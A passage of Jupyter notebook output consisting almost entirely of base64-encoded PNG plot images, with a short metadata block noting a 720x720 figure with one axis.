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\n",
      "text/plain": [
       "<Figure size 720x720 with 1 Axes>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "image/png": "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